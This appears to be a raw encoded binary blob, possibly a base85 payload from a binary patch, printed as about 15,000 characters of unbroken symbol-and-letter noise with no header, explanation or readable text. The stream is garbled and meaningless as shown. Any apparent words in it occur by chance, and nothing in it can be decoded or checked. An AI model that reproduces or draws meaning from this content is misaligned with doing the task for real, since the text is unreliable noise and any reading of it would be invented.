z)R?EHnYH80XH=ONR#XB#YAjHrr}2AtLiIAx)e$b%@M{G27zqO*0O|FF}!MxQ3h61oShg}|DPDv?4-4}g&J)# z>vSa7HK6!6s4=F-l{K!aF}B8rHIA%tlm*$S#*`Xc*VwqmCN(y#v006YofyW|*s_B+ zudzi3E6(v9Ji&mzWh(=dI{e9IX#{M-9FwVg>4l!_`(S!ac z)S)#FH>To0%z*N9gn@RtN7p!}#`#u&#~S~n8YkB{t`q9`8Ygt{i57D^;3>vDyT++C zPBVPE(KBnDVW2H`mSLsdemtkfxyCuqs4}Bh7u2}W9%t6L)N&%`MeTq_FX;$hX5jMn zD{TZAP|VW3Sv9VyajgZv+NdJGuEzB>9s*SmVwbcUh>LYTVX|=jIx>bnva6 zIF*On4c}pOc1H*9?nvHWeWj%UbgQYTj!M;uhv+!?kv)4HC~q;uJKKc zH%$1`PT9U$P?OgXf7STWWPa^P{#4^pJ=6IQkU~Q2);ciqkH@dF!t0(c}Dedem8$ne5-7BSGyhGZ72vv{3Bbq3d2xy~wemN0>#(vUh! z8XjVFsX9v=SjOnGopNiJ#xP?lZzBvWZ*&Et!#g=&u_Lomosn%ZE9X_~jIzgd>#SyA zt&ZgC3fsYJ8ffQyZNsDMa=dZ1*=DY1czvT{Zct}T2TNeXIvbhVZ(L{BI=j``q|T;w zHmftP&bD>7tFyVuPpC7|z!r73G%((1I~B#el|4?WGs%EBlMS?sV(U8F{LiD_ZeM37 z<4o+E0W0K5YE)uuun(Ft`_og+I~{G&Tqu^m_E_&R6Q zIkV0Qbxy2vN}W?p;G{Yy|Bs}E+huZEozwq^uQF-#&#H5-@z1Vvj)DIRBAN4yBgqTv z%&c>Nod@b%Bxao(>fBi8k~){xxz@xkGkQgxD-B$3WvH-M)tOc2>N?jLUmPVN>-T?o z(4+8mb*}FS=<%jHH`jGPgVU~C>fBoA4#Rr9&A{y){TD}Z&hETbYbPDQj09<1|Fo#*O2U+3XEkJNd(Bl&2Z$Ll;{kB@aUL8&}h=c$g&|HUT$Gj*Qr z@RbvBUa-ek>bzKIPMw$R@nxfJfi``$6Y4bsiu27nZ`CO`NE*Cd=bbu#*7>W>yLH}E z+mx41o%ic}VEFSo9~$_$&L?#~GCXGCg2X;GEby6uU-~&;MENm(QRhqJd{uXQvR|v| z^>VKk8(P>V_r9(3o$P;|AL{&4=hr$v*7?cgf9^=iH>tll8udP=@LQeV?d>0`J3H&t zzJ*4c^@{fIx^77G=4&v2!{z*+I{((0TgPiqXfRKMc^hu}qgOQ8x4#3L*|j+et}QKb zdRSP$!2%6>Ht5x$t3mGu#fJW-!8vkknx<27`dex(FAM81LeL;=5H*M!lq|U7(ekyX zd-`PUZ0@p|mo})_tHl~r4Ky3H8q^HejW&!bh=OMg@&^4H^fzX=(FKk6X`sj@qhH^K zD^-C3_G+O93pW^OSj_gTMH(#H;mG;nAMJN{yC91<7}Q{JgC#m|hcsBSgXiDeTgvbn zI;kO-Hr@Zz;ED!UHW=Dqxdy`;EZ<;CgRL8^&|r9jbsDVOU_`?$fM}ycbj1cMH5h4} z)f=qQVC4p@=&_*_N!}>M-#{zjlGJYt{n>&3xJUm9-e4`|S!cd1pf+2@U%R1$&)#zV z9M**}>ow4(t!A>DG+4jE1`S<(?_P~j-fW&e*1(2FH!`|$11*(rqs5;Fn>85MVDkoB zHQZ|U7DmT6n9yKL!(z6bezkHw(KwoGYo}?FWo)u>+5+1&*tWrG4Nh;cU4!i#9NTbP zIa3?#&|tbWt-+2Bc51L|gWVcTQz>S>=A>iXr)j-nW`m0wT-@LiD+EO=Uj^-P>#Y_jbk!BjD)#6^mwiD-b2A((iLW37O{5cI?GW@d9R~o$9;I#&?+v6KX zwO81_oglLQ@$ClhH2A&AA5GqE@SfDE$?i?wZ}5SvO4AwD4;y?W!_{>6aedt26B)@S zy_$U5;4`)52ER4wK}}~{1~*xv$&yWmG+C<2(oJ`7mH7I} zV@ezAlGNU=_B0i6SqrY+$ze*X$%G~oo2<}ec#}1otkq;hlNFn+qDY#oq!e{-qRGll z=a#JfM;(KD$huwaAdiwpHCesM8d9@9?mz6*1*+-0@Fo{Exwy#@ zO^$4GYLnBN9M$CLCMPsGvB@z_j%{*WljEE2?i5*O`4!7a=8<^|8q%n1xW0$;Wjd+J z$xTja>RxeI6p!vzkTKW(xK_DOZ*oSHbDNykSy(bCb)OT;AlGCf7E(qREx| z@FufVR;~5<*GcD_+|cC4rvBg4)4^ePnAdt(olVeM z{iKP7TbkV3K2qo+kG;xv%M5YE=&H z4675DSC|CkJMmzXhnjre)U^XV+~g72Se3t=|BVW~+T^h&k2iUu!+GAolTDuLaGo~s zOp|9joadV8*tml0_d=5wJN!8YUNZW!^svL1@M|6XdXqOg_)PVC{NAlMuzjd(e$)8RBQm$Hj*y8Ud|ET%5*r>(7mW_JL*}%C?ycUI)EA3t_ zx?0d;o)+^ON6a2A<}*CMQ62edpBq}B<&0#{)_?!*-P_)VEg}QO7QTVNs1#LJQL)AL zn6xMvC>zyT61_@WRP3?Za$}X6VV%&CTbn+w|@fM?6tkz;si@`01 zwOGEz5-pZ&v8>9f#gGSoyKYQprZCL8;9u=gYP97qsqXQJFP4 z^Q_Qfcng7*Ta0M2VvChpjBL3hmZ~Fp9m`cucgSc6t%jh}udB3JwS`=HW&QTw+O^iz zTddJy{T3UvI7lb3dU|WNSgXa_Ek?IkM-|a>XBCwP^$Q;^?L2VSYw0Q>=W_gpwd*l0 z#~Hvh76+;%TO4eUhqXAwlv(i~YMgd*%GKd5j%cBKL~BcYKQzTAbM8Boh$l4F-x$^7mNqr;XmL)+f;7ffkRpc&x>P#(&tTwtjHjT)!@$$EU;9-lP&gq6IQPuZiczf)Szw0O3~b1j~4@kWa`TfCsA)Z*n9ub9}J z7B3l4KppH=4t0_8tHycV=xatNSXD|!*?6nP+b!OaQLR*k=1b4z z`J)ye%NAvB?!1~7|6Bap;x`!K9NXpcX&__@RXMdr(1{odjaRboaZ3pyNOOWx5!(*ZG2{1S1vm_pUKak(IaEIW!xlM23b~1k@U*&^){o+WO^Gd8r9oX z11A&OV<{st5F6F`8jYFtwrr1yQJKW50r6WIHN$nI4Wmt?x_D3m`epW*8|^mQ$EZG} zZ$`h2{uu)@oiAWa#=wk)GM3C3lCf~cA{jfYm(gL63>|XOtxD6i@|Ll9#-NPB8CU8o zy z3K_#Q#~G2ak^wct6@{&hjLcX$L;eq9%7Du)VO0yI*ruq9p5;6w*RW61@OYh!H8a-A zSUYph)uSyoiOJixJjZFEWY*1CFJpau{zlHfU3VhM9e1W&fHEd!OwQOaW220XGd9WC zB4f*pO*1yj7?-hmroXB$XiTeVh^FN7qFjBlJ0K~)%JCT!GA3qhl{r6iEu6|FLybt| zlNEY<6K$PvO2*b1`=~%Nw#nEwbIv5YW^9+Sea1AYkQO2`cF5QacahCQZ}ov(=*PzYD~PJ%I}|W@gNq;MRGRnTs+m&fMRfKNWhDwCs~{dBzn| zV@pnFE84y>8WOy}O+g;Z(j1MwXDI`60Wx}x(QDO4c6ZZ?-#2m!aD$rm6jz=%X55r< zv$BzKYsTzM-6FST+@5hq<_4%b8(!5_FoRsDuYi4baNsVryVINsDLHv%-;;4~#(f$0 zXS^t?WuFYSsS!E}lJTHwFymn>uE#9fk7V4ia^X>vnQg64PQ{OB&dXO{{ba^dYBd?p zs1|D8^U9KDaAoh=%ncx)Gb$^wtOoyvr7gPuaE`2joS!pZ&Uhu`)r>bX-pqJS4a)uR zymRM%T_31LHuGVAD{}{m-_Cf)GN!4hhI}J5s!;znqUUK2{y& zoR{-S#;0nDIqTx&IxnA$oMkD%XNNubi%&-Z{nG6_EzOG7(zXR1s+)Di!i`4z*L^QBIt*M9z{qrJQokf;oK^ zDksfp=CpDuIn|tcP9t|~v$fo203GLcFx%) zXKc=fITLfXQWX@ujdC{4*(_({oK13fBuzKTD~ZGOUllo<>+5>C(2bT9?Q?d@ znPw$0HD`yM9aVJw++9p6aOt+LDbw1BmJy_)szfap?3%M%&Z#-4XEP7VIXLGK zsi>8noB*Y?OT6fg4r$fpFlnRjW_I(*?BpDkb4<>$x$^*2SgHEax$D<-)_U2IQC33#!V~bI!;)JLjC7Gjqb3@LJIhW*InsZIgwK(pd4{?FYC>KFZ8ho~lY zlPgSa&$+{*y~Sj1l_|3#x-EB>Q<8hzjUuyi?v?`N+?jJ%?#_>>Y}GIHUe~)f=RVbf znyvAr$!d&JSG6_G^rd?mPAHQPS%weP`cKYd(!<#MAm?$ZP0q_XujD+L^Hk29oR@N* zwyZvv^L)-TInU}h()&(*imuSq-_0yqcp>M-oS*u;m_^0Zr^)DP>qq~=AyX;-t2uAw zylv^ernX=}{5Nvm>|pJwy_559&U-oUtB`H+s&BWm5;D2k^wbiiI-n2L1>}4z==-~ zMZ1}&n|Zs5x{15poMpaldKnO&zndN%yg)ZSJ6PM$T^-!Jn_@SgKUjbP2qGwYYEPfD zr@%lF#cmM=3$PPAvAeswyW1~zx2V{P*xjA*zxQ63KfmkR>%Q)J=9y<^XJ%(-r*>qD z6;m`)G*c{{Vwn^z`wlg>jU8ibVVL<+Mp@RR`LYRLKE?2aFK43NxFZtD3MR+*?^-Dp zJ+rGO@=+;Pj(H+c?yY9Nx;58Gv8KsqBf8$uZbx@T)=sgGb=FNnt!J`+N+(`+XS6q}{k+|DhG6OH3jOh|OJVSLMkZ)Ktmp~7yH zV%tQ%U5f3^cSs~Vrr61R=R~qgib>`&sNlP&*dxW;Y2Hb*XNtX2+??W;6nm%GC&i^H zE=#d*iv3a?lj2wh+&{&EDGo|;Kq_kRCmUr-1`k#y*mtB)LO5dQoWbo<~*QB^M z#dY?*F^TT_6gMOR;}qUxFU2C~ttoCx@o9?BQrw>6jubDYn403w6nCX~AjN|z?$)EB z*?|<}G<~evsMl+X`%(;Dr&|(T8*JM>#lH6&bq-Q2e<;PHDIT-%VdEo49a8#uiYHP$ zo#L4kPpU=Iw6DDsP+z!u#fUtc;<*$rq|jScr&TDW>V^(A<`8tt*3{KF~`#SF`Nz~@ORlKwx*Gg&r^Jniu%LdX}&ZO z|0%^+DZWneO^R<*(Zul&DZWd5zfVQyNJveWc2&st$5b?mEAn%SUsC*<;Q9`z+soQ_NJ$uVkmA{+?bydc~-VqJEclHLAa% zw;^eIq?s$t+-dervtK%TLClk8(KLh7tQmICn`XW=JuUB*W+TnyrsDE2gK zrCB1)l4;s$I%!gA(rIdG>S;1*vQA+oO)gE4revG>GzF)#nAVXdQD!R5!kCoPQK1aB zvuZxKd6=e=rkSRd<{3*$`byQ$B{eB*HSwWohNT&iW`#6MStwJ((=454nY6Zrb}gIc zk#e_$hxso*%UNf-Iwxt)uuXZ5OtW&DRnn}OW~DURFg_~HM+3X0Hp4orrdch`8cxRQ zX(UtzDqz;AWGIDer&%Y>=C;3Xn)T9*(JiN0KaFl}1Iwo-F^*2NVHz1xDGbyyA^UEU zMp-d7&A4>*NiO@njhk9Nd|=mRX>{+B$G1Nr&BQc2rP(>nmT9)Kk?qoK?HGTy<~9zy zt-Tabi5G5f+`$Rh(YF@g&Ms;8vDc(DyE>p^+)WvhW{))D%Cx=o7O;*|E>nA_(Ip}a zDq;~``=>cG%~@#S2Oae_+OMEpdP!9%*lPqx8REYW*e)=snJbmJMuaMrA|)0~s$ z#xysnW~MnW&6R1cvhVrE3yl{f75Jhw7pJ*I&!z@^(p;_*F<)WzZb@`qVP`c##d~#{ z>up5*nl#s%UzbRJblPsPb60i#)7+Bg(KL^xxi!sgY3@#QPnz4)+>z$aL`|k75#D7~ zjTOH)&3$Pew&Z_lrlff=%|mJKPxC;UCtXHybmG!4`ldvbm`9RqkBjy3G%ux@n&t@w zO!HKlr)~Cm=jStNo=x+ds@ahL+D4I>zmVp|q!ePw%MLg#&1-31QSyr2uR5U0Xi=Bc z>sEMEnVIT(!wSkhrRptnk$2O)m*$%c-)5Me=6#vU@Op+BX+BWSWVj>4hk9W30A^S> z!^depNz;{~JHw}Ljy_BCxt_S0(YyEyHU4S-O!HTouhM*-<_|~rO`320wEmptJ4;%A z-oH=tgEQ(!3xCp+?%Y!)RN8*AP|xYFX?{!dyB}UT$65ZXbuKWf-TOPuKbHTSW@egM zR*p+B)+a-c42xzMl!Bnh6PL%YW@sr zQbZQaAbk-z`()^wiCR%LgZ-?zaEAUF24q;o&Vi0g%8GF|4wi)s#SA6uC_|KQi<=M0 zu!PBy8B!V288R6H8OcOXXx5lhc{u@+=!H_SzG|cF>lRcA%NZ&eMp-Ul)%we4sAZ^U z2s1P?ER|tt%bOWm8QNA>!z+WG3_~*vbA~7i#r3o%lr>?eVgC%vW*Dx-yV@%UbSY9@ z%UNG?1sRcHg$yGzte9c)+}$f#UvjlPib6qTbL9-HWLP!BY8h6~u$HoSNY@$}*36&> zN0)3WF}mU?*3O_z*4?d_Vf_p{X4px&kzuq`zHKIINHfDDr|?3#)C8~bJ0%{qG-cQ@`~)cx+6iC*Y3sB3Qv_c88k)Ptse z@5Ac(XE-p!2^mhza8QOf-|Cj-BUG$f5tQK&E312XsB$dfhpXUh_DIzYwf`B8&Tx!! zJM2E*I>%s$6nL>5eYTMC*$#&qOVZ zI=A}ly*t%)rJYwfteg^FtNP$fyUD`qGF)$RgYm`;$2OxV&edBW!!52Sa^7m++l+eq ztMc5L;jRoXWb_*s?#^&ehQ~8Jk>TD9_gU>hsTp2Y-A*L0 zWO!B8%)V+yq%$pXzM;CI2f2UOXG*i@o!`pvw$i3UKUDNO?IFXv8Q#mFZNH96hF>%MrrOn` zTT9V2Sf|0LKUBRvBKM~?|5BC?^6ytN%(SFumRTl>VxBBrS-P{3rAL;zvdo=j#=l)U z@Jb^a8s^f0!#eayNV6=JW$A1*<)lw7-O)7*M`ycfv{1*vX+VB>mgTaH$g)Bf z&8;t=jn+A9bXPOZ3ZjV>O~Gh7pnrGwO4(@oc=ar6WEmx!YW%ZN^;;#&s##XcMnjI; z8lX8orA@cCW|p}4Xv*(|EGK5!H_Lu@?w{qbEQe<~z|P584phdP zOZkv22b*goUrt?zW=RMC@gwYYOqL@}jxru?R2fP6*eu6oIo=XE`pqg^45@ z{4u{G%avI!&2pKYmuHFBpQysbt8}i)a&4CDvRs|z8tcSsR1S6%r{z7@CpIs=y!)ms zH)nY!%d=T-$#Sc`9>{WAmfN%3tEVH&9f|&3S?)BC@8a$(_hkS73aDsE%D(p-r>J4^ z$d#4`#VdIp%<_=D?E6@j$Fn?=<WgSR@3?i<%WVQ*}BB_ z%6raUFK2nhh$f>2^ znicvb%dc5}(}VA)Ob@;iAbk-{=;$myJ>7q)DO1=S-8ufr@^6-zYW7`qbqb$a5S1q9j>UH z(TiKNqKZq-R*rU#PL82c3!-C56tynBTNSnDam1I-u}qGAbL^*5*0FoKO(iVH@EptK zSU$&yTvSyy%CSO@k@g*vW5rz5&g+DZ5?(y#)wr8+ zcjJJddrylS^+?wOI92e!d zIL9@5WOD4S#XrhhhrKk%WtJ!+UGmZw=oNZ!w5QB?mGNq0oS5r!+@#!a!mf9cZZO_x z)Q#M1Un$&T^3JVM4Y}RXEi-G@9VU|8X>ynGc#Z$$xG%@^IbO)|zZ_F?JZG=vwIVkc zjdo7e!O=M$%<)i;hjToe&7a8eWDa4hAe6o|MV_%-UUKS^ zTteOQi#c9$nw8axcdV7C4C#J3$16Er%`q*<7kV&ryq05Qb?K? zjBn>yINv3CjPK=`p5uKB72OO+^r@r%AjgL}KC_MBDQBMiq*@r0}DCe=sPhy))D_L$L~4*uv7Q`XAa@T zI{zof-xe;GkBahN^O-qj<>(6N4p`6+3q~o-6GZ9kVVo;qZp-78&l@mbK+k|)0gDAJ z9?&~r{(wFKeFGM-sf7X*X^bK=s7pk#^a~geut>ndNnHH{q$!1g0gF1gGzVES*mmNy z#X9mDV&M{r*OGI@l?liOtRL{UW_|+#8(AwLZ_)`E8c;A-bj5&@xmwq!4$xMt8U7#|mgtNMSSny?Y4;T)^_yd1ykHuG{8` za74guErb*motPgt`=?PSIc4l2we7tQxRd!dI7Bt!IeIMnUvtr0&^P0UHO54Hy?hZSv*;TLf$pME%%JRpR>aH)=VV zUS3+~Fg{>nz?QZ%!KgQmzLK={Ks#0SqS-o#dVRXKG1)fY)UGZ$w-4AM&?+o;3fL`R z_kf)Pb_tjiuxk*lr5`&n`jvc7AJ@N{7pm#yvPZz40ec1P9Yh`et2T^YzUu909iYC6 zuJ6&UGxqlj*gxR;)p=ocZD40|z(>pR@p2p(aFFhHK#?N@jtbZ=&-Qta4mc)YP@chgjtw|2;E8Be495qY5O71ljR7YHoD^_n zz*PY!2b`h`8AKhnQv*&5I6L5+fYSrc2sl%9M)hCIY*Jn7fv96}@=D!WO1hMeeLJ@M z+<@}}E)1fVrn+ZGsPi9iffA;HES>4$eH{8qx=7E9T0Ff10xk`>O!@&=IL7b1TYU4r zU9V}1Q{9Q4Tpe&tz;yxFD?`*#sdir*L|r?5^lj;>QmyUO3tFFqHwD}r@SHL*;Ff?} z10D!?P*pVG_JDf=?hUvj;Ld=%0`68J_KemJsYj=txxUcVuh6nFeWc%~0t%QCaKB6H zO8-_~F{*OL=L4wzJfwQ1oD6s}N(_$%JQnb{ZfCxz*Q%9%DpPIx)~cBJA6`!dJRR^% zz_UTrH+#@UuL`VbS@nn2wbLTB7Xn@kcqic9fR_TM2D}#Vdcey8uLQgrFfFQM(LzU! zy6B5rNz&lwVmg$*SJxW>Zw9=jb|Z*Z9;&mdx3K!UTJfm+(hqL*mHJ-5^ni~8J_&d~ zU`D`)0Us&Z>vw-3>>2$teOnE>x)ZL`ebvv@oqihdS-|H3Uj+JHW3)q1eO=|4x|g~; zO}vVH74UVyHv!)U%#~;Ed{oE2lYYSO0pADw5b$HbPXWIK{Hn6pIy&0=XFV()N7A#Y z-n(q>cyafDncaT`{2B0Xz|4TZ0{#y8$CXy4qvu*d6zNnI`Yer%(3Ph<5BX?Sq}l=X zlQj$cN>_Baw-kEhqozQ7o;>sB>6h2rkoofT%(Gygh4S>u(>u@nc^1e=XKQOrL*Ii+ zjC%6AuXs6kpFDkiM>@*5k?B_N^vfN)mDD(j{&@!EqlaY?<3Ps}FMwav64lbh@+_Wb zc%J3*49T-Zo@V~PHhD>tqA_Jm=gB0#S(BVGFy`|VOte)>6|!V5Qr4ZCR})Fiq@E`< zX(aNvE8eoRZR{9_8i(as%4BKdGR9?%)B8j*>RLX}CYFrIvqGMcc~-P@<2);wNM~)6 zQO1>xtK?bLWHqC7R?o9W!q+re%cupb>m>4ZP1ZB6Z`{B*+PGn!F($IMk;%{ty2d7w zafw8}o95Zf&drTm7{?nY7^O2Y&z1?_%4F+2+n8)?jJuK2+#%0Fc@9>s%d=CSo%8Hs zh5d|^^6X_I&0X{CmS^`odnA%QO|(i-zA^5dXP?A(Uz3L?MsLsk%?~h6HXfLd&T^O6 zA$bnX^F^L7^Bk7v@H|?4`&ynO@*J7xfBERiI!cYd$z6GlQRAQIb~}&Db9|o5%%yfh zp3}`wG@g{_+)RhG+dMCS_h1kWBnWQ z+?eMU%Wrb3Zng#aDt0AX}04mc;OOo_F%mTi{>6S=8BhH_v-{KFafP zp6Pks&+|c^5A)2(M+<26-)epJYrVuB9?sRveXvf3U$EXkc zZzew(e>VQ2SVlx^|8)Is$-l-w^89Hc-@o$wo#&s#Da|;@Ox>x4Z+P_}1$q=1RA6v{ zxeCl(VEzINI6dj=I0O!Y*21 zfOvs{bNJ4_qc~xU*(+mQyugqGOB7gg4*isQ+KJSfWSP~KwJ=v8Fp)&oiUmpq)-SL@ zfwJYT0__5o0#!R}$(`1dP@yG_0!>S_MOUUe1%?(_t-$I9h80+4-=ItjI0fn^FT zYv*udoH+`+e1Q=KR!B4@A2|nKDdD3Eteo&w3em9!tJ*33H4^#SCTkY-yUD1ADBt9} zj`_NY&U(omjZP#J3T#+lOo5Fo8CPJF0vnr;O>`dC%5$~+1va;2Gvn-X*}~58a|kCE z*wW6ej9VMyve>S`_66Q7@K%8x3hY?m(gK$i*r~wI1r8~2Xn|d-++N_00#_$t zZz*t1fols~mq>0baJ~5ri9`l(O8Cvr&p7e77P!sw*m-B7b5DW0%tuICCoKZoSS z0x#J)wZJr!myObVrNFBR*SFPc=C2#yFvd3DF7Qr)zYF|R;N1f675LG<(+j*`;G+T` z+c{&7TK9n^AG%g3ouAmLXZA~zPbDw#c~WP-uu$od=2zxl>lIMo+eH3-f$z+f9vPA5 z4@q1+bhsp0rEPvYhSK=#E|C-NLjM|EsiF}qxmxbL%j6ICn<2JX6 zg3ME7-h|I*(z8e}litQS_ZBR&P?0B#JXNGmk-kNCEwWpYenl28GNQ-|Mfw*RP^4X? zqku&Q7O57aL5W3+3@VZ-k}Wd0$YRB40wPsp@ghUamn@>c2uZkvor`*ILQYM*3e&}C z)V&%;3b`WrA_c1jMf966eS8&*l!}y#REkkIPt&0KSkpcueGlp*NPBY%YjxF%)Qf~g z8bz8#TE%DwoWklTn+;hZdvZ2qk+dlVL?PouLovrHd?6WZ5Fai!4`U z`C@buoiug*(5Fk&)~kBrW5PmRBa5t9WPFhcMOG>@s>lXKMi*JR$SOtFDzbKwRg0`v zWQ`(g7WryWbZWXj_f{`*th*da*!{mnAHr*m?p~+Jx<%G2vVJjIpP&W38tvEDu69=` zfArs2jahA2WK0na>}*zKqaqs@*`&y(MaC8xr?TjdIx1Sxr@0SV)~NoJ{@t4K(O0(i zjc#5%BKpXZ@3uv@E3&-{S4Je+!8!l( zw5Ys3cHNG*)9$Rgk?q>07!65HDn@he>NxFQWRD^@7rCX#o<;U5a(Iy=itJrvpCX4A zqt5WY#si8>F0!AwN_PKZG$*3|m=q4Q@L=OX#i(~J;UTJ`{zVZWU(hEPIi(o=tVf@~ zDus>ucb{(iGJaN(Gm4z)P#TDkuabJUGv^!?!~&7?Tt7X!xKs+)6}jF<#Fa}o zI;>K7lOEV!(ODw5>KW0_M^)@1x0%a%dyzYe+*#zVB6kalnU)+@Dx@Kouk5nk0I-$RkA_wd8T*W5yq5Mw^axJz=LdNIqTUnIdl$dArE7 zMV>42LXj7XJYS5KUPx2Vg=*%?3r6S6yi{bGa>lEnrWScQ;jfsyYMe5m`!$o-jc*tg z#Gaml|1#14N)>zluCGy?uWw@^g_N%zsSuW&9WO--`Th@@o>~ zA4UGOq_#@eU#hXH;XcqqW*_m>`md@=i5{h>v7PD4FiX`~n_)}QPVnwh^hZDC=Ui6k zU1I(cbC;OM&Us7pG*Q_3N>N)O(kqdu{giWo5`8RLFp)1*Lf<>`>YGUVm7=PpL9+oe zQex8*o0S+?V$l+#N~~OBP>I2%sEulsSj?nglw|P|LlVA($&w{fCh0_;DUmhLC6d4- zUqaa;BgI5sGASD?C8~+MW>PN^CXz;prg?1P3LOMdiq;BtN(?PAti)1ws!bcN+bpq+ zoR;XA5vl1CS*{el&U7trGNQx^CL>GHdt^nU$Vw$n@wr=S16L`rzT;iB6g7#fl~~y}v0M3Ux;T^rcW=u$NOx}l42Oo@$3Y+Q<-lyUYQYg86# z`gjv_5ji(6u|g3c8NA^OzFHmN>4&@pejnqR9!e>6hI}iTvae+UhHXQ%jsy;`9<{=*ebu*5|sda1<+a9vX3QcEr~YOW*-Vy?F9 zsuEY1__D-TC9WxPZHXsKJXPYl64#fwx5RxVZYXhMiQ7utUgD+_H>(9GajWV~HtGYY zO;9gI*&bi&)!b3y&JuT(xVscJx$kKp+Iihj8KVu_bZyjkL{5>rdOT;lao)I)fs#H%Hym3U3nK7Ju; zCZ%U|fQjB*y5=9y^@cSyq$B6s=I@qxuf#igx;O6nxT{M&!|7_H^h-_q%Iu+Iy5dd;^z{-l=xM*xkS`oRYs`}t7E2l3gxP9=Z_M9 zmiVj0-=%2P-+{|Sf7nrdkeYrUxyc66UpQwbwX}CRdJD`_o|ow^Lzy0B<|#98IeHh& zRc7vTRM6tusV%%|Vl?$|pBn!%J&{e`RBt1_Rc3IR#mcNyW>lHQ%M2+qwEW+!#}Z|-WpZVf zv?P_t(`7OV*M~q*jwTmsmgJ3vGDVY8nM$HrE=PX|)i_?&lDJt=HK^MemT8n}nzzcd z%XDN`XGiqz(s_^ST`P+w>%fgNOX;Q(o6DD3#(ddCGTdajvi|KJ)v*zFu3#LQ=&Wd> zOkTOnDrF{?*|N;4WmYRk?dm3FR=2|XWi}|YhWVOh)+)2M`MSn+jPYEpZht+M>6Xzc znu>I^y*`<@dqa~kWi~3aahb7Y##y41F8+9_OUI-PnH4qE3Zi&7b?loNH#crkW_+0m zWun7C^gbOO9o@54nXSw0T4uL$^zOcFeD^lWWS?5IZJF)Nw>R!!l-G`Bc1rlpWp+vU zq_Q^SM}0_DkKN1cQ)b^Xd$`U>vS*pS625ntcP2%j75kOhU$eTFACUMSWHQ-!plXYs zZYdvJ=8!~3b@H%;A8vAlQC|l~mpP`)+ls;oJGRUf&ZXn*Jig2cWlk(}lAV{7Ia#Hq z;hi#PmN})&sbx;nP3iDwKTzssD_gGdjKEoC&MtF)nG4FCQ|8<<=h^b*ndphoX`({C zdDWt-2revhQJIU&(HBkhUS6O}Te;Q#=wMj2W|unl%gS7?OaHX>X^K~txvI?7Wv(gn zV3~)?s8zYvQQTeTx-!>Wa)T09j*e2ivCK{7Xm9D5{?P+|vvWYlx!hXjwlX>+bey-- z-mZG0vF+dREZ}eAC&n}O;&}$6+SBSahX5L{OKF{q#T`~ z@?)7#%Y0VmbK75f)~s(#zA%1i{L1*XQEm9QCf^xVpx>MPV3a{w_{scd<1fZv%lu{{ z{omDGxHIsVlOg?o%KU8}2miOs%rdjoh*g-s!UC1(Ezn(I?n+dDF!nIcWmG81=czES zo%0!cRp@CVuQ-OQFK{uSB^dqH7WR4m2*B=qy%Y z@d}Stc&x&Z3QI^{VRh>)S)t~{r;OiJ)LZY*Bg^?9j zv~wlnD5FvpCrp-Cv1HXGZEI9mv%(1#POPw2g|#b8s<3N?bt@ceT5w=Otf(83folJ zvcgtL4ohE}+uC=#B%p+`T)3l!J6G7rB$n?ohvse-cCT<)g~KcCQDIMe9cbLE!oC&u ztFU*4eUcz?uI_K=0Tm`YCA04__C2V=!4(d%j$%C2`5EiP3P)5p*1ktpILhQ`>m2ic ztsR$GINn5IPpWWoh1;C5r&Kt#!e#QRa9V}aE1Xl|Tx*_D;VhFglYnu&XD9h~UWM~3 zTvXxW3Kv*M$-6KiaZ;7?ODbHNSdcT$y(=uazQPR^uB>oXg{v!EQ{mbQ*CjP4j&3%_ z25+ozbA?+f+++)~7RzrU%O9A0I)DkH0`SY`PtBdoT<9ATvsCq`r?%SS0vzY}9zRR*hU zP-S$L)vK&gWt}SPR#~&kTGn4X(T`2Vp~Tm-@A^qxvG0a^s%&0miz-`I*{aHTYfh*#(L~Y3G0wh=t*dO4n2jS9Zg0sB##p%H96GyH znN;QW8h6y#waRW)eys9SmEEiC;i8#dWzQ;mRk@|gtyT7}vQL$Z?X_=}{i+;S<@hT5 zS2@6DkEk-a%7Il5sdA_#2UR&Z$*4G~ak3Ay@8K>rB`g*mS>>oIM^`zf%CU2#GxinA z!UV@-TT@0(sd8$S)9jobBqnDhIk>#_kT~g)JDwoN(%5_z)uX2Souc~sj$(2SKxyD4Px;DA}IRAw=RJqB%HzqpL zm;B}=>}@KPDpQ@$cT~Bv%A-{tt8!PByRGv;m3yk(TV;x!aq{k~^1s9xOJwu@$7Jt0TvsIp}@i{U^y|r*tts++V&O%T7m|B?$&k8$(vQ)N`lO`uT;I02$it+%;P&!GTyH;L!SUuKCJRl zl`rl4vGFsbf_!4~sZnM>H~AuQO5v+2U)%YO@%t*@R{1Wui`gmp!4gINbCqAz6x7(T z#;-1y#cC{Gn)+JQ&g+_4Wmc80TGY>w3N?xjk}>9LWKH5!1vT=C z1xXZpsYclfHQ#B)ylRwhoC)>BsUXc7tr{!U7*(TPqf=vejpb?#wa!vCmNprd&KRXx+l6ZEQ)8nV8`l_HV_c1`Yi#3Co7C96#unzA*4WHM zkt((0&9^j8s4>y@<4C2jRiYV3v~7)@YV2HNyBgcuYlj*;&Y=_M_AWIh)!4np9%}y+ z-`z}RTi(;oy%OQiN2OAGDDyeY_ zg@;)Zr$q82YaCtUm>NgTp?R$NadSvw3n$h%sm4V$F0OHMjZ({u#L~3y? zS0zrFy0*r3HEybLbB*gQzoEvBCQ^$jGo|42 zdaK44HNLFzc8zyxyj$bF8Xwj8xW@Fv&IdK#uQ6keurjFYLrdahd{X1HME_G0-NNUI zL^@y9_`1f-8nbGAQ{!8;=W51ld}o~>Yy4E>`x-wavBYM7PAvRlBH`?u`CV;(jlXOB zQRB}!o_gv0W95I1v-KtKs?%N9Uvikg4t09enWxUY_2@M*SDm>{;&|g6o3BpKI=$*q zgB;tLP2^ml&VqIN*6CMgA&2dgScr|pL1J9kMr3wCoki+Vb2PBdl66uJvS^(_CWGrN zR%dbZA$68WLd6DSOxMZOY1V1g$y&2mr&K3bC$N6LPQmio$%sk0POVP8PNh!OnsMDw z3PbBRjB$eF91ylG9A@kohbF07N;hK3GR9>SxuTPi7b9$XK>a0*_r0@EGIxCut ztFuX+mFkSDvvQqP>a0^|-8!qvh^?(vXZ1R3)LGNc+3At-_;%K|Jm%}wS-;MPb;i`$ z!1B?FZ+ttk+D3IYt~1tNl1n(-chfqX)!CuWj&(M-!h|{#O|~$OH!8@Mb+$6!&bW1* zZR%{B_{Qms&5Cbd|L^N&r#d^=+1qNn)R|Og_d0vj+0~NWoOQDkqky{hth1MWXUj$Q zsk3jL{Vd<#I6Fr9sz4{#Ik3(_bq=m`NS$Nr99QSiI)_>Ls5*z&Iik*yN!Z!OWk>wz zI>*>6&N1Qfbxx>ra-CBwKhb!S6Fgf-VNb1d+8j1xuQThMRp-MxAJsX#&N+1+sPkZ* 